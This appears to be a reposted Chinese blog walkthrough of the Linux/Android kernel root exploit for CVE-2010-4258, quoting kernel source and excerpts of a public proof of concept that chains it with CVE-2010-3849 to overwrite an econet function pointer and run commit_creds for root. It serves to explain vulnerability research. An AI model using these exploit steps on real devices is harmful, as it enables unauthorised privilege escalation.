Root exploit for Android and Linux(CVE-2010-4258)
来源:互联网 发布:华为手机支持4g网络吗 编辑:程序博客网 时间:2024/06/04 18:31
/*
本文章由 莫灰灰 编写,转载请注明出处。
作者:莫灰灰 邮箱: minzhenfei@163.com
*/
一. 漏洞简介
CVE-2010-4258这个漏洞很有意思,主要思路是如果通过clone函数去创建进程,并且带有CLONE_CHILD_CLEARTID标志,那么进程在退出的时候,可以造成内核任意地址写0的bug。PoC代码利用了多个漏洞来达到权限提升的目的。
二. 前置知识 (进程创建、退出)
1.当fork或者clone一个进程在的时候, copy_process执行如下操作:
static struct task_struct *copy_process(unsigned long clone_flags, unsigned long stack_start, struct pt_regs *regs, unsigned long stack_size, int __user *child_tidptr, struct pid *pid, int trace){ p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL; /* * Clear TID on mm_release() */ p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL;}如果clone的flag带有CLONE_CHILD_CLEARTID标志,那么clear_child_tid指针中就会保存应用层传递进来的child_tidptr的地址。
2.应用层调用clone函数,并传递CLONE_CHILD_CLEARTID标志,则child_tidptr指针就会被赋值给子进程的clear_child_tid
clone((int (*)(void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &fildes, NULL, NULL, child_tidptr);
/** If we're exiting normally, clear a user-space tid field if* requested. We leave this alone when dying by signal, to leave* the value intact in a core dump, and to save the unnecessary* trouble, say, a killed vfork parent shouldn't touch this mm.* Userland only wants this done for a sys_exit.*/if (tsk->clear_child_tid) {if (!(tsk->flags & PF_SIGNALED) && atomic_read(&mm->mm_users) > 1) {/* * We don't check the error code - if userspace has * not set up a proper pointer then tough luck. */put_user(0, tsk->clear_child_tid);sys_futex(tsk->clear_child_tid, FUTEX_WAKE,1, NULL, NULL, 0);}tsk->clear_child_tid = NULL;}上述代码中,如果tsk->clear_child_tid不为空,那么其会调用put_user(0, tsk->clear_child_tid);
4.put_user其实是一个宏,具体是__put_user_check函数,它会将tsk->clear_child_tid的值置为0
#define __put_user_check(x,ptr,size)\({\long __pu_err = -EFAULT;\__typeof__(*(ptr)) __user *__pu_addr = (ptr);\__typeof__(*(ptr)) __pu_val = x;\if (likely(access_ok(VERIFY_WRITE, __pu_addr, size)))\__put_user_size(__pu_val, __pu_addr, (size),\__pu_err);\__pu_err;\})__put_user_check函数会调用access_ok去检查传进来的参数是否合法
#define access_ok(type,addr,size)_access_ok((unsigned long)(addr),(size))int _access_ok(unsigned long addr, unsigned long size){if (!size)return 1;if (!addr || addr > (0xffffffffUL - (size - 1)))goto _bad_access;if (segment_eq(get_fs(), KERNEL_DS))return 1;if (memory_start <= addr && (addr + size - 1) < memory_end)return 1;_bad_access:pr_debug("Bad access attempt: pid[%d] addr[%08lx] size[0x%lx]\n", current->pid, addr, size);return 0;}access_ok也是一个宏,具体函数为_access_ok,其主要对外部传进来的addr和size参数做合法性检查,其中关键调用语句如下
if (segment_eq(get_fs(), KERNEL_DS))
return 1;
# define get_fs() (current_thread_info()->addr_limit)
如果get_fs() = KERNEL_DS,那么_access_ok检查始终返回1.
三. 前置知识(无效地址访问异常)
每当我们访问一个无效地址的时候,系统便会执行do_page_fault去生成异常日志,结束异常进程等。
int do_page_fault(struct pt_regs *regs, unsigned long address, unsigned int write_access, unsigned int trapno){// ......die("Oops", regs, (write_access << 15) | trapno, address);do_exit(SIGKILL);}而往往一些内核bug产生的时候就满足get_fs() = KERNEL_DS这个条件,这个很关键。
接下来看看CVE-2010-3849这个漏洞,它主要是一个0地址访问异常漏洞,msg->msg_name可以由用户空间控制,因此可以是个NULL值。接下来的saddr->cookie;这句调用就会造成0地址访问异常。
static int econet_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, size_t len){ struct sock *sk = sock->sk; struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name; eb->cookie = saddr->cookie;}
四. 漏洞利用
1.获取需要用到的函数地址
/* Resolve addresses of relevant symbols */ printf("[*] Resolving kernel addresses...\n"); econet_ioctl = get_kernel_sym("econet_ioctl"); econet_ops = get_kernel_sym("econet_ops"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
2.申请一块新进程的栈空间
if(!(newstack = malloc(65536))) { printf("[*] Failed to allocate memory.\n"); return -1; }
3.处理好需要映射的地址,比较关键
// econet_ops中保存了各个econet函数的地址指针,// 10 * sizeof(void *)到达econet_ioctl的下一个函数地址// 再-1,那么清零的时候是清掉了econet_ioctl下个函数地址的高24字节和econet_ioctl函数的高8字节target = econet_ops + 10 * sizeof(void *) - OFFSET; // 清掉econet_ioctl函数的高8字节landing = econet_ioctl << SHIFT >> SHIFT;// landing按页对齐,map了2个页的内存payload = mmap((void *)(landing & ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if ((long)payload == -1) { rintf("[*] Failed to mmap() at target address.\n"); return -1;}// 将提权代码拷贝到landingmemcpy((void *)landing, &trampoline, 1024);ps.这里要说明一下,这里为什么要把地址映射到(econet_ioctl&0x00FFFFFF)地址范围内,而不是直接将econet_ops指针数组中的econet_ioctl函数地址清零呢。那是因为新版本的linux不允许用户直接调用mmap函数映射0地址了,所以采用了一个很巧妙的小技巧。
可以调用查看下系统最低映射的地址,我这里是65536
4.clone进程
// trigger用来触发CVE-2010-3849漏洞,是一个0地址访问异常int trigger(int * fildes){ int ret; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "eth0", IFNAMSIZ); ret = ioctl(fildes[2], SIOCSIFADDR, &ifr); if(ret < 0) { printf("[*] Failed to set Econet address.\n"); return -1; } splice(fildes[3], NULL, fildes[1], NULL, 128, 0); splice(fildes[0], NULL, fildes[2], NULL, 128, 0); /* Shouldn't get here... */ exit(0);}// clone进程,子进程调用trigger触发0地址访问的漏洞,进而将target指向的地址清0// 即清掉了econet_ioctl函数地址的高8字节clone((int (*)(void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &fildes, NULL, NULL, target);
5.最后ioctl函数触发底层的econet_ioctl函数执行,而econet_ioctl函数的高8字节已经被我们清零了,所以会调用到我们的map地址中,进而触发提权代码获得root权限
sleep(1);printf("[*] Triggering payload...\n");ioctl(fildes[2], 0, NULL);
参考文章:
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4258
http://www.exploit-db.com/exploits/15704/
http://hi.baidu.com/wzt85/item/2467d70f893700133a53eed9
- Root exploit for Android and Linux(CVE-2010-4258)
- Root exploit for Android (adb setuid)
- Root exploit on Exynos(CVE-2012-6422)
- spring cve-2010-1622 exploit
- QSEE privilege escalation vulnerability and exploit (CVE-2015-6639)
- Android exploit with a Qualcomm processor (CVE-2012-4220)
- Android exploit with a Qualcomm processor (CVE-2012-4220)
- Heap Spray Exploit : CVE-2010-0249 Use After Free 初探
- CVE-2015-3202 exploit demo
- Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack (DNS中毒工具)
- Own your Android! Yet Another Universal Root CVE-2015-3636 (中文翻译) (1)
- Own your Android! Yet Another Universal Root CVE-2015-3636 (中文翻译) (2)
- Own your Android! Yet Another Universal Root CVE-2015-3636 (中文翻译) (3)
- Linux Kernel <= 2.6.17.4 (/proc) Local Root Exploit
- Linux kernel 2.6.18-20 2009 local root exploit
- Linux x86 Dropbear SSH <= 0.34 remote root exploit
- Linux kernel-2.6.18-6 x86 Local Root Exploit
- Metasploit Toolkit for Penetration Testing, Exploit Development, and Vulnerability Research
- <s:token/>struts2标签 拦截器 (1)
- PHP empty()
- iOS和Android的后台推送工作原理各是如何?
- php 运行时读取命令行输入命令
- 我的算法学习之路【原来还是那个大神写的 继续膜拜】
- Root exploit for Android and Linux(CVE-2010-4258)
- ARM常用的段分类及说明
- AJAX中XMLHttpRequest.readyState总是为1
- poj3501Escape from Enemy Territory||hdu2337Escape from Enemy Territory
- ubuntu 12.04配置变量后切换到root下环境变量无效的解决办法。
- 常用得正则表达式案例
- unity3d中获得物体的size
- Q6.6
- CSS border实现三角形